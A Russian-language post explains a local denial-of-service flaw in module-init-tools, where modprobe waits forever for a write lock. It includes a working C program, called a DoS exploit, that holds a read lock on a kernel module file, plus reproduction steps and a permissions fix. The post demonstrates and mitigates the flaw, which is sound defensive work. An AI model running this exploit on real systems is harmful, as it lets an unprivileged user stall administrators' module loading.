Названия этой атаки не знаю, и ключевых слов тоже.
Но в исходниках module-init-tools вижу следующие строчки
modprobe.c:
static int lock_file(const char *filename)
{
int fd = open(filename, O_RDWR, 0);
if (fd >= 0) {
struct flock lock;
lock.l_type = F_WRLCK;
lock.l_whence = SEEK_SET;
lock.l_start = 0;
lock.l_len = 1;
fcntl(fd, F_SETLKW, &lock);
} else
/* Read-only filesystem? There goes locking... */
fd = open(filename, O_RDONLY, 0);
return fd;
}
И эта функция вызывается перед загрузкой модуля в память (и перед удалением тоже).
Как видно, запрашивается лок на запись. Если пользователь сделает лок на чтение на файл с модулем - то modprobe или rmmod будут вечно висеть, ожидая когда файл разблокируется.
Вот, сами проверьте:
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
int main(const int argc, const char** argv)
{
int fd;
struct flock lock;
if (argc < 2)
{
fprintf(stderr, "usage: %s <filename>\n", argv[0]);
return 1;
}
if ((fd = open(argv[1], O_RDONLY)) == -1)
{
perror("open");
return 1;
}
lock.l_type = F_RDLCK;
lock.l_whence = SEEK_SET;
lock.l_start = 0;
lock.l_len = 1;
fcntl(fd, F_SETLKW, &lock);
printf("Lock acquired\n. Press Ctrl-C to unlock.");
sleep(-1);
close(fd);
return 0;
}
Сохраните эту программу в mod_dos.c. После чего скомпилируйте командой
gcc mod_dos.c -o mod_dos.
Далее открываете свой /lib/modules на чтение (chmod 755 /lib/modules от рута).
Далее выполняете команду ./mod_dos /lib/modules/`uname -r`/kernel/fs/ext2/ext2.ko от пользователя.
Оно должно вывести "Lock acquired. Press Ctrl-C to unlock".
Потом открываете сеанс рута и пишете там modprobe ext2. Наблюдаете зависон.
Делаете выводы, и выполняете команду chmod 700 /lib/modules.
После чего жмете Ctrl-C в окне с modprobe, потом в окне с DoS-эксплоитом.
Далее пробуете запустить эксплоит второй раз.
Должно вывести:
open: Permission denied
И соответственно, команда modprobe ext2 должна отрабатываться на ура.